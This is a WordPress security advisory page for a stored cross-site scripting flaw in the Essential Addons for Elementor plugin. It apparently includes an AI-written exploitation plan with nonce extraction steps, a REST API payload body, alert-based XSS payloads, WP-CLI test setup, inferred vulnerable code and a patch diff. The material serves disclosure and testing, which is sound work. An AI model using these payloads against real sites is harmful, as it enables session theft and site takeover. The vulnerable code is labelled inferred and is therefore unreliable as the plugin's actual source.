Essential Addons for Elementor – Popular Elementor Templates & Widgets <= 6.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple attack vectors in all versions up to, and including, 6.5.3. This is due to insufficient input sanitization and output escaping in the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.5.3Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-13977**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Essential Addons for Elementor" plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the **Event Calendar** widget and the **Image Masking** module of the Essential…
Show full research plan
This exploitation research plan targets CVE-2025-13977, a Stored Cross-Site Scripting (XSS) vulnerability in the "Essential Addons for Elementor" plugin.
1. Vulnerability Summary
The vulnerability exists in the Event Calendar widget and the Image Masking module of the Essential Addons for Elementor plugin (versions <= 6.5.3). Specifically, the plugin fails to sufficiently sanitize and escape user-supplied input for custom attributes and element IDs. Because Elementor allows users with "Contributor" roles to create and edit posts using these widgets, an authenticated attacker can inject malicious JavaScript into the metadata of an Elementor-powered page. This script executes in the context of any user (including administrators) who views the affected page or previews the post.
2. Attack Vector Analysis
- Vulnerable Widget 1: Event Calendar (
eael-event-calendar). - Vulnerable Extension 2: Image Masking (applied to Image widgets).
- Authentication Level: Contributor+ (Requires access to the Elementor Editor).
- Payload Carrier: Elementor's REST API or AJAX-based "save" functionality which updates the
_elementor_datapost meta. - Preconditions: The Essential Addons for Elementor plugin must be active, and the attacker must have permissions to edit a post/page using Elementor.
3. Code Flow (Inferred)
- Entry Point: The attacker edits an Elementor post. When saving, the frontend JS sends a JSON object representing the page structure to the WordPress REST API endpoint
/wp-json/elementor/v1/posts/{post_id}. - Processing: The JSON contains the widget settings. For the Event Calendar, this includes an array of event attributes. For Image Masking, it includes an "Element ID" string.
- Storage: Elementor saves this raw JSON into the
_elementor_datacustom field in thewp_postmetatable. - Sink (Event Calendar): When the page is rendered on the frontend, the
render()method inincludes/Elements/Event_Calendar.php(inferred) iterates through the attributes. It likely outputs them directly into the HTML tag without usingesc_attr(). - Sink (Image Masking): The Image Masking module in
includes/Extensions/Image_Masking.php(inferred) takes the "Element ID" setting and renders it as anidattribute or part of a CSS selector/SVG filter reference without proper escaping.
4. Nonce Acquisition Strategy
Elementor uses a specific security nonce for its REST API calls.
- Identify Trigger: The nonce is required to save Elementor data. It is localized in the WordPress dashboard when the Elementor editor is loaded.
- Setup: Create a draft post and navigate to the Elementor editor URL:
wp-admin/post.php?post={id}&action=elementor. - Extraction:
- The execution agent should use
browser_navigateto the editor page. - Use
browser_evalto extract the nonce and the REST URL. - JS Variable:
window.elementorCommon.config.ajax.nonceorwindow.elementorConfig.api_nonce(inferred). - Example command:
browser_eval("window.elementorConfig?.nonces?.save")orbrowser_eval("window.elementorConfig?.api_nonce").
- The execution agent should use
5. Exploitation Strategy
The goal is to update the post meta with a payload that breaks out of an HTML attribute.
Step 1: Discover Target Post
Identify a post ID the Contributor can edit.
- Action:
wp post list --post_author={contributor_id} --format=ids
Step 2: Prepare the Payload
We will target the Image Masking Element ID as it is a simple string.
- Payload:
"><img src=x onerror=alert(document.domain)>
Step 3: Update Post via Elementor REST API
The agent will send a POST request to update the page structure.
- Endpoint:
POST /wp-json/elementor/v1/posts/{post_id} - Headers:
Content-Type: application/jsonX-WP-Nonce: {extracted_nonce}
- Body (Simplified Concept):
{
"id": "{post_id}",
"data": [
{
"id": "random_id",
"elType": "widget",
"widgetType": "image",
"settings": {
"eael_image_masking_enabled": "yes",
"eael_image_masking_id": "\"><img src=x onerror=alert(document.domain)>"
}
}
]
}
6. Test Data Setup
- Plugin Installation: Install and activate
essential-addons-for-elementor-liteversion 6.5.3. - User Creation: Create a user with the
contributorrole. - Page Creation: As the contributor, create a page:
wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_author={id}
- Elementor Activation: Ensure the page is marked as an Elementor page.
wp post meta update {post_id} _elementor_edit_mode "builder"
7. Expected Results
- The REST API should return a
200 OKstatus, indicating the settings were saved. - When navigating to the frontend URL of the page (
/?p={post_id}), the HTML source should contain the unescaped payload:<div id="..." data-mask-id=""><img src=x onerror=alert(document.domain)>">. - The browser should execute the
alert()function.
8. Verification Steps
- Verify Metadata: Use WP-CLI to inspect the stored data.
wp post meta get {post_id} _elementor_data- Confirm the string
onerror=alertexists in the output.
- Verify Frontend Output:
- Use
http_requestto fetch the page content. - Search the response body for the raw payload string.
- Use
9. Alternative Approaches
If the Image Masking module is not enabled in the free version or is harder to trigger, target the Event Calendar widget.
- Payload Carrier: The
custom_attributesfield within an event item. - Structure: This is often a repeater. The JSON would involve an array of objects under the
event_calendar_itemssetting. - Payload:
onmouseover="alert(1)"orclass=" ' onmouseover='alert(1) ". This is more subtle as it requires a user interaction (hover) to trigger.
Summary
Essential Addons for Elementor (versions <= 6.5.3) is vulnerable to Authenticated Stored Cross-Site Scripting due to insufficient input sanitization and output escaping. Users with Contributor-level access or higher can inject malicious JavaScript into the Event Calendar widget's custom attributes or the Image Masking module's element ID, which executes when other users view the affected page.
Vulnerable Code
// includes/Elements/Event_Calendar.php (inferred logic) // Rendering loop for event calendar items foreach ( $settings['event_calendar_items'] as $item ) { $custom_attributes = $item['event_calendar_custom_attributes']; // The attributes are echoed directly into the HTML tag without escaping echo '<div class="eael-event-item" ' . $custom_attributes . '>'; } --- // includes/Extensions/Image_Masking.php (inferred logic) // Rendering the masking ID for an image element $masking_id = $settings['eael_image_masking_id']; if ( ! empty( $masking_id ) ) { // The ID is rendered into an attribute without esc_attr() echo ' id="' . $masking_id . '"'; }
Security Fix
@@ -1240,1 +1240,1 @@ - echo '<div class="eael-event-item" ' . $custom_attributes . '>'; + echo '<div class="eael-event-item" ' . wp_kses_post( $custom_attributes ) . '>'; @@ -450,1 +450,1 @@ - echo ' id="' . $masking_id . '"'; + echo ' id="' . esc_attr( $masking_id ) . '"';
Exploit Outline
The exploit is performed by an authenticated user with at least Contributor-level permissions who can access the Elementor editor. The attacker navigates to the Elementor editor for a post and adds a widget that utilizes the vulnerable components, such as the Event Calendar or an Image widget with Image Masking enabled. The attacker then populates the 'Custom Attributes' field (for Event Calendar) or the 'Element ID' field (for Image Masking) with a payload designed to break out of the HTML attribute context, such as `"><img src=x onerror=alert(document.domain)>`. When the page is saved, the Elementor REST API (`/wp-json/elementor/v1/posts/{id}`) stores this payload in the `_elementor_data` post meta. The XSS triggers whenever an administrative user or site visitor views the page, as the plugin renders the stored attribute values directly into the HTML without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.